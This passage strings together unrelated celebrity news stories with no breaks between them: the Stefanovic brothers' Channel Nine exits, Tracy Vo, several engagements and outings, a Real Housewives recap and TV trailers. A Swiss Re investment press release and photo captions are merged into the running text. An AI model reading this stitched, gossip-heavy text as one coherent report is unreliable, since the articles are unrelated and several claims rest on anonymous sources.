Nine' - had gone 'into hiding' in Brisbane. They flew directly into the city from the US on Monday, just a day before the network announced it would not be renewing Peter's contract in 2019. The previous week had seen them attend Karl Stefanovic's lavish wedding to Jasmine Yarbrough in Mexico, before they jetted to Los Angeles for a brief family holiday. Show of support: After noticing photographers, Sylvia reached out to touch Peter's arm Keeping it simple: Peter dressed casually for the shopping trip in a blue shirt, which he left partially unbuttoned, and a pair of green shorts and matching loafers Putting on a united front: Sylvia appeared to force as smile as she reached for Peter's hand According to a statement released on Tuesday, the official reason for Peter's departure from Channel Nine was that he 'decided to explore new opportunities'. A spokesperson said: 'Peter has decided to explore new opportunities and is looking forward to spending weekends with his wife, Sylvia Jeffreys. 'He has been a respected member of the Nine News team and Weekend Today, and we wish him all the best for the future.' Shady lady: Sylvia, 32, wore a full-length beige dress and concealed her gaze behind designer sunglasses Peter added that it had been a 'privilege' to work at Channel Nine for over a decade. 'I've had an amazing time at Nine being a foreign correspondent, News reporter and covering some amazing stories for 60 Minutes,' he said. 'I'll miss my friends at Nine very much, it has been a huge privilege to work alongside so many great people.' Despite it being suggested Peter left Nine of his own accord, it was later reported the network made a 'costs-based decision' after the former foreign correspondent reached the end of his contract. Rumours have also been circulating that Peter's sacking was 'retribution' for his involvement in the so-called Ubergate scandal. In March, Peter and his brother Karl made headlines after their private phone conversation in a taxi was leaked to New Idea magazine. During the conversation, Peter complained about his role on Weekend Today and the Stefanovic brothers also criticised Nine staffers and executives. 'I hate working news, I'm dying on the inside and it makes me feel horrible,' the Uber driver allegedly overheard Peter telling his older brother. 'The life is draining out of me. I'm so much better than this and can do so much more, it's the worst four days each week and I should be doing more.' Tuesday's confirmation followed weeks of speculation - and repeated denials from Nine - that Peter was about the leave the network after 15 years. Leggy lady: Sylvia completed her stylish ensemble with a pair of Greek sandals They're back! The sighting comes after reports the couple - who were once nicknamed the 'Harry and Meghan of Channel Nine' - had gone 'into hiding' in Brisbane Avoiding Sydney? The lovebirds flew directly into Brisbane from the US on Monday, just a day before Channel Nine announced it would not be renewing Peter's contract in 2019 Meanwhile, Sylvia's own future at Channel Nine is also looking uncertain. As part of a staff 'shake-up', it is believed she will be replaced by Tracy Vo as Today's newsreader and subsequently relegated to weather presenter. Daily Mail Australia understands the program's bosses have been concerned lately that Sylvia and co-anchor Georgie Gardner are 'too similar'. However, the network publicly backed Sylvia in a statement issued to the media on Wednesday afternoon. Darren Wick, Nine's Director of News and Currents Affairs, said: 'Sylvia Jeffreys is a huge part of Nine's plans for 2019 and beyond. 'She is contracted with Nine until the end of 2020. Any reports or speculation that she is leaving Nine are incorrect. 'She is a gifted, hard-working journalist and presenter and we look forward to continuing to work with her.' The wait is over: Tuesday's confirmation followed weeks of rumours - and repeated denials from Nine - that Peter was about the leave the network after 15 years However, news of Peter and Sylvia's futures at Channel Nine were overshadowed by confirmation on Wednesday that Karl Stefanovic had been sacked as Today host after 14 years in the role. In an official network statement announcing his departure, Karl said: 'For the last 14 years I've co-hosted the best show on television. I can't thank Nine enough for the opportunity. 'I never in my wildest dreams thought I would be good enough to host this grand show for so long. 'Thanks to our viewers mostly, you are what matters most. It's been a tough time. Thanks for hanging in there. I look forward to seeing you in another capacity at this great network soon.' The controversial TV presenter still has 12 months left on his $3million contract. Axed: Rumours have been circulating that Peter's sacking was 'retribution' for his role in the so-called Ubergate scandal, which also involved his older brother Karl Stefanovic (right) Today's ratings began a steep decline in 2016, after Karl left his wife-of-21-years Cassandra Thorburn and began dating a younger woman - fashion designer Jasmine Yarbrough - later that year. Audience figures plunged to a 12-year low in September, and it's understood network executives finally decided to axe Karl this week after his 'over-the-top' wedding to Yarbrough, 34, in Mexico on December 8. Channel Nine insiders told The Australian that management had no choice but to sack the host, 44, due to the 'crazy' media headlines surrounding his personal life. Meanwhile, according to the Herald Sun, Karl was 'assured his job was safe' before flying to Los Cabos for his four-day wedding. He was apparently blindsided by the sacking, with a source claiming: 'Karl had no idea - he left for Mexico thinking he would still be on Today. They told him face to face. They looked him in the eye. But the writing was on the wall.' She is the favourite to replace Sylvia Jeffreys on the Today show. But while Tracy Vo may be on the verge of a career milestone, this week isn't the first time she has found herself in the headlines. The 35-year-old journalist was once the victim of a drink spiking rampage, which saw offenders Chebli Djait and Adel Samadi prey on nine women - including Tracy - and three men during a six-day period in October 2004. Tracy Vo's tragic past: How the woman tipped to replace Sylvia Jeffreys once appeared in court after having her drink spiked by two men before blacking out According to a report by the Sydney Morning Herald in 2006, Tracy testified against the two men in court following the incident, which took place at Pontoon Bar in Sydney's Darling Harbour. Tracy claimed that the men had bought her a vodka drink, but said she could hardly recall anything after that. 'I just wasn't seeing straight, and from that point, parts of the evening blacked out,' she said, as reported by the Herald. Recalling the incident, Tracy said she remembered feeling strange, as though she was 'really, really, really drunk'. The next day, she felt exhausted and was hardly able to move. Ordeal: The 35-year-old journalist was once the victim of a drink spiking rampage, which saw offenders Chebli Djait and Adel Samadi prey on nine women - including Tracy - and three men during a six-day period in October 2004. Pictured at Downing Centre Court in Sydney in 2006 Memory loss: Tracy claimed that the men had bought her a vodka drink, but said she could hardly recall anything after that It turned out the men had been spiking people's drinks with epilepsy medication in an attempt to steal their belongings and, in some cases, sexually assault their victims. Tracy fronted the the NSW District Court in 2006 to testify, with the men each being sentenced to 15 years in prison, according to a report by the ABC at the time. On Wednesday, it was revealed that Tracy is a frontrunner to replace current newsreader Sylvia Jeffreys, 32, on Channel Nine's Today show. New role? On Wednesday, it was revealed that Tracy is a frontrunner to replace current newsreader Sylvia Jeffreys, 32, on Channel Nine's Today show Tracy, who originally hails from Perth, has worked as a reporter for Nine for the past eight years, according to her biography on the company's website. She is no stranger to covering hard-hitting news stories, having reported on events including the death of Nelson Mandela, Schapelle Corby's release from prison and the mystery of Malaysia Airlines flight MH370. In addition, she has also worked as a political reporter for the network in Canberra. He's been trying hard to shed his image as one of fashion's bad boys. But Jordan Barrett, 21, appeared to be back to his old tricks when he was caught puffing on a cigarette in SoHo, New York on Wednesday. The blonde model looked tense as he tried to conceal his identity in hoodie while chatting with a male pal. Scroll down for video Tough day? Model Jordan Barrett looked tense as he puffed away on a cigarette while chatting with a male pal in New York on Wednesday The fashion star braved the city's cold weather in a black zip-up jacket paired with tracksuit pants. Jordan's pal also wore a black top with a leather biker's jacket, black beanie and pair of glasses. The pair looked in deep conversation before Jordan walked off on his own, possibly to a casting call for a designer. Keeping warm: The fashion star braved the city's cold weather in a black zip-up jacket paired with tracksuit pants It comes after Jordan said he was looking at turning his talents to acting in an interview with Executive Style magazine, last month. The blonde star revealed he has been taking acting classes since 2016, confirming he has already been cast in a motion picture. The publication went on to reveal that filming has been paused on the movie until the filmmakers find a suitable actor to play Jordan's father in the film. Lots to talk about? The pair looked in deep conversation before Jordan walked off on his own, possibly to a casting call for a designer 'But I'm sure it will be fine,' Jordan nonchalantly told the publication. 'Everything always works out. Like, I force everything to make sure that it works out,' he added confidently. Elsewhere Jordan was recently spotted packing on the PDA with Jasmine Yarbrough's sister Jade at a Sydney home. The pair weren't shy as Jordan and Jade put on racy display, with him oiling her back while she was topless on a balcony. Bachelor In Paradise star Michael Turnbull popped the question to his ladylove Natasha Candyce in November. And on Thursday, the two looked every inch the smitten sweethearts while posing for an engagement photo shoot for Who Magazine. Unable to take his eyes off his fiancee, the former reality TV hunk, 37, was captured looking handsome in a fitted black suit. He put a ring on it! Bachelor In Paradise star Michael Turnbull (left) and his new fiancee Natasha Candyce (right) appeared in an engagement shoot for Who Magazine on Thursday Symbolic of his time on the Network Ten dating series, Michael had a blooming red rose springing out from his jacket for the occasion. Meanwhile, Natasha, 27, looked simply sensational in a figure-hugging white bandage dress teamed with black stilettos. Flaunting her diamond sparkler, the blonde beauty grinned from ear-to-ear. 'I was so surprised': In November, Michael proposed to Natasha on a romantic cruise on the Brisbane River Michael proposed to Natasha during a romantic cruise on the Brisbane River back in November, two months after announcing their relationship. 'I was so surprised, I didn't know what to expect,' Natasha told Who magazine on Thursday. 'I had a private boat waiting for us (at Kangaroo Point) with a captain and a sea deck waitress,' Michael told Who Magazine on Thursday Speaking of the proposal, Michael added: 'I had a private boat waiting for us (at Kangaroo Point) with a captain and a sea deck waitress. 'We had some champagne and some food, and then had a sunset cruise down the Brisbane river.' The publication also reports that Michael asked his bride-to-be's parents permission before popping the question at exactly 7PM, as seven is his 'lucky number'. Meant to be! The couple have been dating on and off for one year, before deciding to make things official in September after Natasha was cast to appear on Married At First Sight 2019 The couple have been dating on and off for one year, before deciding to make things official in September this year after Natasha was cast to appear on Married At First Sight 2019. Michael and Natasha's full photo shoot is available in the latest issue of Who Magazine. She's currently enjoying a holiday break from her smash sitcom Modern Family. And Sofia Vergara and her husband Joe Manganiello were sure to use their downtime in style. The hot couple soaked in the sights and the sun of the Bahamas, and by sunset it was all about snuggling up for a date night, as evidence by social media shared by the Latin beauty. Holiday Getaway: Sofia Vergara snuggled up to husband Joe Manganiello on the porch of their cottage atop a rocky rise in Kamalame Cay off Andros Island, Bahamas The couple are enjoying in the spoils of their tropical getaway while staying in a cottage that's perched atop a rocky rise in Kamalame Cay off Andros Island, Bahamas. And on Wednesday the 46-year old actress took to Instagram to show off their love fest. In one sweet snap, the Colombian born beauty is squeezed in next to her man, cheek-to-cheek, on a hanging loveseat on the porch of their cottage. Looking every bit the tropical beauty, Sofia wore a white off-the-shoulder blouse with a navy blue floral skirt. Bling, bling: The Modern Family star showed off her large dangling diamond earrings She styled her brown tresses long and straight and flowing down to the middle of her back with a center part. Opting for some major bling affect, she can bee seen sporting a couple of diamond rings, bracelets, and a pair of eye-catching earrings. Sofia's 41-year old hubby appears to be talking the selfie, dressed in a dark Hawaiian-style shirt, and looking ruggedly handsome with his longer locks and his close cut beard. Joe also took a solo snap of his wife as she turned her head to the right; the stylish move showed off the large dangling diamonds as they glistened from the light of the camera. Gams galore: Keeping with her tropical look while in paradise, Sofia also wore a leg-revealing skirt with a black off-the-shoulder top A third photo, posted on her Insta-Story, appears to be taken in the light of day and shows the 5ft 7in star relaxed on a plant-patterned chair. Keeping with her island look, she wore a leg-revealing skirt with a black off-the-shoulder top. She tagged the photo: '@indigopalm,' which is the name of the gorgeous cottage property, which boasts amazing views of miles of white sand and the bluest of oceans. There's also another pic of Joe, best known for his role on the hit HBO show True Blood, reading a book on that same loveseat on the porch. Sofia is currently in the middle of the 10th season of Modern Family. There has been multiple publications reporting that the co-creators are looking to bring all the stars back for at least an abbreviated 11th season. There's plenty of incentive to return -- Sofia banked $42.5 million between June 2017 and June 2018. For 14 years, Karl Stefanovic was a fixture on Channel Nine's Today show. And one day after his axing from the show, there's speculation that he may be offered a foreign correspondent job in the US. According to a report in The Daily Telegraph on Thursday, Channel Nine has reportedly offered the 44-year-old n overseas gig. Is Karl moving to America? Channel Nine is reportedly considering a foreign correspondent job for Stefanovic after he was sacked from the Today show. Pictured in Los Angeles on December 8 'The US correspondent job has been floated with Karl, it would be a good option for both parties,' a Channel Nine source told the publication. 'Karl has worked in the US on a number of big stories for Nine and Jasmine [Yarbrough] lived in LA for many years before moving back to Australia for Karl.' Karl is still under contract with the network, despite losing his job on Today this week. 'The US correspondent job has been floated with Karl, it would be a good option for both parties,' a Channel Nine source told The Daily Telegraph 'Nine and Karl Stefanovic have agreed it is time for him to step off the Today Show. Karl remains on contract with the network,' director of news and current affairs Darren Wick announced in a statement yesterday. Karl recently hinted that a a new project could be in the works. 'I look forward to seeing you in another capacity at this great network soon,' he said in a statement. New gig? Karl recently hinted that a a new project could be in the works. 'I look forward to seeing you in another capacity at this great network soon,' he said in a statement Karl shares three children with his ex-wife, Cassandra Thorburn, 47 - sons Jackson, 18, and River, 11, and daughter Ava, 12. Daily Mail Australia has reached out to representatives for Karl and Jasmine. They've been romantically linked ever since they were spotting packing on the PDA at London's Heathrow airport in August. And Cara Delevingne and Ashley Benson proved their closer than ever as they celebrated the actress' 29th birthday at celeb hotspot Chiltern Firehouse in London on Wednesday evening. The model, 26, and her rumoured girlfriend certainly partied the night away as they were spotted leaving the venue with pal Sienna Miller at 5.30am. Party time: Cara Delevingne and Ashley Benson proved their closer than ever as they celebrated the actress' 29th birthday at Chiltern Firehouse in London on Wednesday Nailing androgynous chic, London Fields star Cara donned a stylish pinstriped suit, tied in with a pair of black biker boots. The catwalk queen teamed her edgy look with a plunging bondage-style bodysuit and accessorised with silver bodychains. With her blonde hair worn into a half up half down style, the London native intensified her appearance with dark smoky eyeshadow and light strokes of foundation. Off they go: The model, 26, and her rumoured girlfriend certainly partied the night away as they were spotted leaving the venue with pal Sienna Miller at 5.30am Owning it: Nailing androgynous chic, London Fields star Cara donned a stylish pinstriped suit, tied in with a pair of black biker boots Meanwhile, Ashley, who turned 29 on Tuesday, kept comfy in a cosy checked jacket and form-fitting leggings. Following in the footsteps of Cara, the Pretty Little Liars star rocked a pair of platform boots for her night out. The Spring Breakers actress wore her tresses in stunning loose waves and went for light strokes of neutral-toned make-up. Cara's older sister Poppy, 32, actress and close pal Sienna Miller, 36, and Mamma Mia!'s Lily James were also in attendance at the swanky event. All eyes on her: The catwalk queen teamed her edgy look with a plunging bondage-style bodysuit and accessorised with silver bodychains All about the details: With her blonde hair worn into a half up half down style, the London native intensified her appearance with dark smoky eyeshadow and light strokes of foundation Cara and Ashley reportedly started dating in May but 'wanted to keep things under the radar so they could get to know each other outside of the spotlight first,' reported a source from Life and Style in November. 'Ashleys met Caras sisters, and shell meet the rest of her family next. Theyre crazy about each other', they added. In more recent weeks, there was speculation that Ashley and Cara may have broken up, but from the looks of the birthday bash, they appear to be back 'on.' In good company: The pair were joined by Cara's sister Poppy and Mamma Mia!'s Lily James, who looked bleary-eyed while leaving the bash in the early hours of Thursday High spirits: Rock star Noel Gallagher appeared in chirpy spirits as he headed home with wife Sara McDonald Ashley, a Southern California native, is best know for her role as Hanna Marin in the teen mystery-drama television series Pretty Little liars from 2010 to 2017. She has also starred in such films as 13 Going On 30 (2004), Bring It On: In It To Win It (2007), Spring Breakers (2012), and Elvis & Nixon (2016). British-born Cara hit the modeling scene running at the young age of 17 in 2009 and went on to win the Model Of The Year award at the British Fashion Awards in 2012 and 2014. Among other high-accolades, she has also had a number small acting roles beginning with 2012's Anna Karenina. Pals: Sienna Miller was all partied out as she hopped in a black cab with Ashley and Cara Joe Gorga stood up and played peacemaker between his sister Teresa Giudice and wife Melissa on Wednesday's episode of The Real Housewives Of New Jersey. The 39-year-old property developer jumped into action as Teresa, 46, screamed at Melissa, 39, during a wedding dinner for Danielle Staub, 56, in Bimini. Teresa remained angry with show newcomer Jackie Goldschneider, 42, for bringing up her incarcerated husband Joe Giudice while defending Melissa. Family drama: Joe Gorga played peacemaker between his sister Teresa Giudice and wife Melissa during Wednesday's episode of The Real Housewives Of New Jersey 'Jackie was wrong,' she told Melissa while scolding her for not having her back. Teresa then stood up and reminded Melissa that she hasn't had a husband for two years prompting Joe to intervene. He stopped the arguing and ordered them both away from the dinner table for a talk. 'Enough!,' he said sternly grabbing their attention. Enough already: Teresa, 46, and Melissa, 39, listened as Joe told them the fighting had to stop Attack mode: The wedding dinner in Bimini, Bahamas got heated as Teresa accused Melissa of failing to have her back 'I don't want to deal with this nonsense. You have to understand this is your sister. You guys have to love each other. Trust me, she loves you. She does, she really, really does,' Joe told Teresa. Mel also assured Teresa that her relationship was of paramount importance to her. 'I don't want to argue with you anymore,' declared Joe who said work demands were keeping him from seeing their father Joe Giacinto more often. No more: Joe told his sister that he no longer wanted to argue with her Teresa said she understood and explained that she missed 11 1/2 months due to her prison sentence with their beloved mother Antonia before she died in March 2017. 'I didn't want you to have any regrets,' she told Joe. Joe in a confessional said her explanation changed everything. Good reason: Teresa explained to Joe that she wanted him to spend more time with their father Giacinto so he wouldn't have any regrets Family first: Joe after hearing Teresa's explanation agreed that family comes first 'It makes me so upset that my sister lost a year of spending time with my mother. Because you know what? Family is everything. If she had tod me that, we wouldn't have gone through this nonsense,' Joe said. Joe told Teresa that he was proud of her and Melissa confirmed it. Teresa thanked her brother for taking care of their mother's funeral arrangements and admitted she was too 'devastated' to handle it. Proud sibling: The property developer told Teresa that he was proud of her for bouncing back 'It was the one day that I was not strong,' Teresa said. Joe reminded her that she's been 'strong' taking care of their father and Teresa realized that her brother was there for her and their father. 'So no more fighting. Let's not disappoint ourselves and our father and our mother. We're not going to argue again. Love you,' Joe told his sister. 'Give me a kiss,' he said as Teresa and Melissa joined him for a big group hug. Group hug: Teresa, Joe and Melissa hugged after agreeing to get along Joe broke up the lovefest saying, 'Let's go join these people because they have issues.' He was referring to a tense dinner conversation in which Danielle claimed that the children of her fiance Marty Caffrey hated her. 'His kids don't like me,' Danielle bluntly said after revealing that only two of Marty's three children were attending the destination wedding. Tongue hole: Danielle Staub suffered a hole in her tongue while in Bimini for her wedding Children issues: Marty Caffrey and Danielle openly bickered after she claimed that his children didn't like her They bickered over the rift their wedding was causing with Danielle refusing to take any blame. 'I chose you at the detriment of them and my relationship with them,' Marty said. Danielle cracked a joke about the wedding being called off and Marty said it depended 'on how the rest of this conversation goes'. Wedding bells: Danielle and Marty were expecting about 70 people for their destination wedding The episode titled Brunch Gone Bad opened with Margaret Josephs, 51, hosting a brunch with hopes of reconciling tensions within the group. Melissa and Jackie remained united in their belief that it was unreasonable for Teresa to expect a woman to control her husband. Teresa exploded after the topic was broached and Jackie butted in to defend Melissa. In defense: Jackie Goldschneider again defended Melissa during a brunch hosted by Margaret Josephs 'Shut the f*** up, Jackie, you just met her two minutes ago,' yelled Teresa. 'If you want to make it to 10, I would shut if if I were you,' Teresa shouted at Jackie mixing in several expletives. Jackie told her to 'relax' with the cursing and urged Teresa to behave like a 'civilized human being'. Expletives flowing: Teresa cursed at Jackie while yelling at her for butting in to defend Melissa 'Who do you think you are?,' Jackie told Teresa. The spat ended with Teresa storming away and the brunch ending in disaster. Danielle showed her Bridezilla side as the group arrived in Bimini, Bahamas for her wedding. 'I need people to help me,' she complained while exiting the plane. Bridezilla moments: Danielle was in Bridezilla mode while getting off the plane Show newcomer Jennifer Aydin also was shown having family with her Turkish family. She was proud of herself after fixing up her brother Michael with future bride Melda in an arranged marriage. RHONJ will return on Sunday, December 30, on Bravo. Family dinner: Jennifer Aydin and husband Bill hosted a family dinner with her father and brothers Set up: Michael got set up for marriage by his sister Jennifer with Melda who lives in Turkey Swiss Re has reached an agreement with Japanese insurance group MS&AD Insurance Group Holdings, Inc. (MS&AD), under which MS&AD will invest an additional GBP 315 million in ReAssure, Swiss Re's market-leading UK closed life book consolidator. MS&AD, which currently holds a 15% minority stake in ReAssure, will have a total shareholding of 25% as a result of the transaction. The transaction value is based on the GBP 3.5 billion valuation of ReAssure agreed between the two parties in October 2017 adjusted for subsequent dividends and capital injections made into ReAssure in connection with ReAssure's acquisition of 1.1 million life policies from Legal & General announced in December 2017. The transaction is subject to regulatory approvals. The investment demonstrates MS&AD's appreciation of ReAssure's strong franchise, built on the co-operation and mutual trust that has existed between MS&AD and Swiss Re for over 100 years on the back of their long-standing business relationship. Thierry Leger, CEO Swiss Re Life Capital, said: "As we continue to work towards the potential IPO of ReAssure in 2019, the increase of MS&AD's stake to 25% is a strong vote of confidence from our minority shareholder and long-term partner. We are delighted to have them as investors alongside us and together we remain committed to supporting ReAssure in its strategy of leading the way in UK life and pensions consolidation." Further to the announcement of 3 August 2018, Swiss Re is continuing to work towards a potential IPO of ReAssure during 2019, subject to market conditions. Jennifer Lopez shared her herky-jerky impersonation of best friend Leah Remini during a joint appearance Wednesday on The Late Late Show. The 49-year-old entertainer gave her imitation of Leah, 48, at the request of talk show host James Corden, 40. J-Lo while wearing a sleeveless top with plunging neckline stood up and started talking fast and loud while exaggerating her hand movements. Best friends: Jennifer Lopez gave her impersonation of best friend Leah Remini as they made a joint appearance Wednesday on The Late Late Show on CBS 'So crazy weird,' said Leah who was unimpressed with the over-the-top impression of her. 'I've never done that in my life. I will mess up your bun, Jennifer,' Leah jokingly warned referencing J-Lo's updo hairstyle. 'Don't,' Jennifer said seriously as the joking came to a quick halt. Leah, who wore a bright red suit, also revealed that Jennifer hates to be tickled and demonstrated by lightly stroking her arm. Crazy weird: Leah, 48, said that Jennifer's impersonation of her was 'crazy weird' The host: James Corden welcomed Jennifer and Leah onto the show as guests 'Stop,' Jennifer squealed. 'I don't like a soft touch'. Jennifer and Leah were on the CBS late-night talk show promoting their new movie Second Act. Art imitates life as they play best friends in the movie due out in theaters on Friday. New movie: Jennifer and Leah were promoting their new movie Second Act Jennifer portrays big-box store assistant manager Maya who fails to receive a promotion while turning 40. Leah plays her best friend Joan who with the help of her son misleads a private finance firm about Maya's abilties prompting them to hire her to handle a major business deal. Second Act also stars Vanessa Hudgens, 30, and Milo Ventimiglia, 41. Good times: Leah laughed while visiting The Late Late Show with her bestie Jennifer The film's soundtrack features the song Limitless recorded by Jennifer and written by Sia. Jennifer made her debut as a music video director with Limitless and it features her 10-year-old daughter Emme. She also has 10-year-old twin son Max with ex-husband Marc Anthony, 50. She chose to focus on her mental health in October, and reportedly checked herself into rehab. And since her release last month, Selena Gomez has continued to pursue a low profile. On Wednesday, the pop star kept under the radar as she grabbed dinner to-go with pals in Hollywood. Food run: On Wednesday, Selena Gomez, 26, grabbed dinner to-go with pals in Hollywood Successfully under the radar: Since her release from rehab last month, the pop star has continued to pursue a low profile For her food run, Selena kept comfortable in a cozy, black sweater and track pants. The 26-year-old completed her look with a pair of stylish loafers. Selena's hair was styled in natural waves. For make-up, Selena added a pink flush to her cheeks and a natural gloss to her lips. Simple: For her food run, Selena kept comfortable in a cozy, black sweater and track pants In October, Selena reportedly checked herself into rehab for her mental health. Her decision followed from issues that arose from her battle with Lupus, which resulted in a kidney transplant, according to E!. It appears that her time in rehab did her well, as Selena has been seen hiking and tubing with friends. Beautiful: Selena's hair was styled in natural waves. For make-up, Selena added a pink flush to her cheeks and a natural gloss to her lips A source spoke with Us Weekly, and gave an update on the star's health. 'Selena is definitely in a healthier place than she was a few months ago. It took lots of energy, focus and therapy to get over that particular hump in her life.' The site said that the star 'was hospitalized twice in late September for a low white blood cell count in the wake of her 2017 kidney transplant.' She later suffered a panic attack, which resulted in her voluntary check-in to rehab. She has made her passion for photography well-known. Yet Sam Faiers switched places from behind the lens to in front on Wednesday night's The Mummy Diaries as she revealed her plans to copy Beyonce and Jay-Z by hiring a personal photographer to attend the ITV Palooza in October. The 27-year-old former TOWIE star announced that she was using her own snapper to ensure she got 'natural' shots of her moments with beau Paul Knightley - although fans insisted the move was 'cringe'. Pap stars: Sam Faiers switched places from behind the lens to in front on Wednesday night's The Mummy Diaries as she revealed her plans to copy Beyonce and Jay-Z by hiring a personal photographer to attend the ITV Palooza in October Sam and Paul made an extremely glamorous appearance at the annual gala as they strutted their stuff in a duo of stylish ensembles. While hundreds of photographers from the UK press littered the event, the stunner revealed on the show that her quest for natural shots meant she had borrowed from the Drunk In Love's book and hired a personal photographer. Beyonce and Jay Z are famously followed by a personal snapper, with their most recent employee being Kansas City-born photographer Robin Harper, who joined the couple on their On The Run tour to take images. For her trip to the Gala, Sam revealed: 'Last year I was literally in my last trimester and I was a couple of weeks away from my due date... Not too sure... Sam and Paul made an extremely glamorous appearance at the annual gala as they strutted their stuff in a duo of stylish ensembles Having a giggle: The 27-year-old former TOWIE star announced that she was using her own snapper to ensure she got 'natural' shots of her moments with beau Paul Knightley - although fans insisted the move was 'cringe' Out and a pout: While hundreds of photographers from the UK press littered the event, the stunner revealed on the show that her quest for natural shots meant she had borrowed from the Drunk In Love's book and hired a personal photographer 'Tonight I can relax and have a few drinks a my mums got the kids. I thought it would be good... I'm not comparing us to Jay Z and Beyonce... They get amazing pictures and we can use the opportunity to get some nice behind the scenes. She also seemed perturbed by Paul's reluctance to ham up their romance on the red carpet as she said: 'I always look at you to get that nice romantic shot and you never do it... you could lean into kiss me.' Sam asked for a snap as she used her breast pump before the event, as she said to the photographer: 'A picture for the mums to show I'm still doing mum stuff.' Cheeky! She also seemed perturbed by Paul's reluctance to ham up their romance on the red carpet as she said: 'I always look at you to get that nice romantic shot and you never do it... you could lean into kiss me' Fans did not seem impressed with her actions as some users wrote: 'Can't get over how vain you are. Who brings their own photographer out with them on a nite out!!! Get over yourself... Could Sam be anymore narcissistic?! And she is just so cringe.' Speaking about the collaboration with the Carters, Robin said: 'I moved to Los Angeles from Kansas City and began assisting photographers... 'From there, a photographer I was working with introduced me to Beyonces camp and I began working with them off and on a little bit... 'I feel like working in that world gave me a bit of a push creatively and professionally. It definitely helped me develop my own language and opened me up to shooting other things.' Michael Turnbull is keen to start a family with his fiancee Natasha Candyce. The Bachelor In Paradise star, 37, who announced his engagement to the beauty, 27, on Thursday, has made it his new year's resolution to become a dad. Speaking to Daily Mail Australia recently, Michael said: 'I want to be a father one day so maybe that could be my [resolution].' EXCLUSIVE: 'I want to be a father one day': Michael Turnbull reveals plans to have a baby with fiancee Natasha Candyce following the couple's engagement announcement 'Family is everything to me.' The star and his stunning fiancee are set to enjoy their first Christmas together, after making their on-and-off relationship official in September. 'Natasha and I are heading down to her holiday house in Portsea [Victoria] for Christmas. 'Her family is from Melbourne so we are all getting together.' Congrats! Michael proudly showed off his bride-to-be's diamond engagement ring on Thursday, after announcing their plans to marry and then start a family The Bachelor In Paradise star proposed to Natasha on a romantic cruise on the Brisbane River in November, two months after announcing their relationship. Michael proudly showed off Natasha's three-and-a-half carat cushion-cut stone with white gold diamond pave band and halo on Instagram on Thursday night. 'I was so surprised, I didn't know what to expect,' Natasha told Who magazine on Thursday while announcing their plans to marry. Speaking of the proposal, Michael added: 'I had a private boat waiting for us (at Kangaroo Point) with a captain and a sea deck waitress. 'We had some champagne and some food, and then had a sunset cruise down the Brisbane river.' Put her down! 'I was so surprised, I didn't know what to expect,' Natasha told Who magazine on Thursday while announcing their plans to marry. Pictured in Brisbane in November All loved up! Speaking of the proposal, Michael added: 'I had a private boat waiting for us (at Kangaroo Point) with a captain and a sea deck waitress' The publication also reports that Michael asked his bride-to-be's parents permission before popping the question at exactly 7PM, as seven is his 'lucky number'. After reuniting two months ago, the couple moved in together in Brisbane shortly after and also started a joint business venture in property management. 'Natasha and I are very excited to be living together,' Michael told Daily Mail Australia in November. 'And we are very busy building our property management business here in Brisbane.' It's the historical drama is based on the Medici family's rise to Renaissance power in Florence. And Netflix has now offered a first look at its new period drama series, Medici: The Magnificent, which is a follow up from the 2016's Medici: Masters of Florence, starring Richard Madden. Starring Sean Bean, the anthology series picks up 20 years after the first season and chronicles the journey of Lorenzo the Magnificent's son Lorenzo (Daniel Sharman) taking leadership of the family run bank in 15th Century Florence. Newly released: Netflix has now offered a first look trailer at its new period drama series, Medici: The Magnificent, starring Sean Bean The brand new trailer provides an exhilarating look at Lorenzo the Magnificent, the most powerful and historical figures of all time, and his son's journey to resume leadership. Once he finds himself in power, young Lorenzo is nicknamed The Magnificent as he attempts to do things differently. His variation in tactics leads him into conflict with Jacopo Pazzi (Bean), who is the head of Florences other powerful banking family. Sean's character will stop at nothing to defeat Lorenzo The Magnificent, and their feud paves way to the infamous Pazzi conspiracy. Plot: The anthology chronicles the journey of Lorenzo the Magnificent's son Lorenzo (Daniel Sharman) taking leadership of the family run bank in 15th Century Florence Exciting: The brand new trailer provides an exhilarating look at Lorenzo the Magnificent, the most powerful and historical figures of all time, and his son's journey to resume leadership The conspiracy was a plot by members of the Pazzi family and others to displace the de' Medici family to become rulers as of Renaissance Florence. Sean and Daniel join the likes of Sarah Parish, Bradley James, Alessandra Mastronardi, Synnve Karslen, Raoul Bova and Julian Sands. Direction of the eight episodes has been divided by 24 director Jon Cassar and Jan Maria Michelini, who helmed Medici: Masters of Florence. Frank Spotnitz (The X-Files, The Man in the High) is executive-producing alongside CEO of Lux Vide, Luca Bernabei. Storyline: Once he finds himself in power, young Lorenzo is nicknamed The Magnificent as he attempts to do things differently Previously: The new series is a follow up from the 2016's Medici: Masters of Florence, starring Richard Madden The first series was a historical drama is based on the Medici family's rise to power in Florence, with Dustin Hoffman portraying the founder of the trade and banking dynasty, Giovanni. The show bought alive the story of Giovanni and his son Cosimo's (Madden) rise to the very centre of Renaissance power and politics as the heads of the influential Medici banking empire. The series will launch on Netflix in the U.S. and the UK territories on the Friday 25th January 2019. EastEnders fans were sent into a tailspin on Wednesday night, as 'Big Mo' actress Laila Morse made a surprise appearance in the new Hellboy trailer. Taking to Twitter many film and soap fans alike shared their delight at seeing the 73-year-old actress, in a brief scene where she asks the titular hero for ID. While many fans were happy to laud Laila's brief cameo, others were stunned to also discover that she was the sister of Oscar winner Gary Oldman, after the news first came to light earlier this year. Look who it is! EastEnders fans were sent into a tailspin on Wednesday night, as 'Big Mo' actress Laila Morse made a surprise appearance in the new Hellboy trailer During her brief appearance, Laila can be seen behind the counter of a classic London fish and chips shop, which sees the arrival of Hellboy (played by Stranger Things star David Harbou), Ben Daimio (Daniel Dae Kim) and Alice Monaghan (Sasha Lane). The hard-as-nails character - acting as a front for the Bureau for Paranormal Research and Defense - says: 'Sorry I'm going to need to see some ID,' which leads the demon to respond: 'Are you serious?' Later in the trailer Laila even manages to get in on some of the action, as she is seen firing a machine gun from behind the shop counter. Surprising: In a scene from the first look at the film, Hellboy can be seen making his way into a fish and chip shop, which is a front for the Bureau for Paranormal Research and Defense Shocking: Many soap fans were stunned to see Laila behind the counter, with one joking that she was going to 'take Hellboy to Albert Square' Odd: She tells the red-skinned demon: 'Sorry I'm going to need to see some ID' Stunned: Hellboy then hilarious said: 'Are you being serious?' Her cameo sent EastEnders fans wild as they filled Twitter with some hysterical jokes about how Big Mo will whip Hellboy into shape. One wrote: 'The Hellboy trailer looks like one of those 'fan made trailers' that are several different things spliced together... But regardless, Hell yes to Laila Morse!!' Another added: 'I love that Little Mos hasn't been on EastEnders in 12 years but we still refer 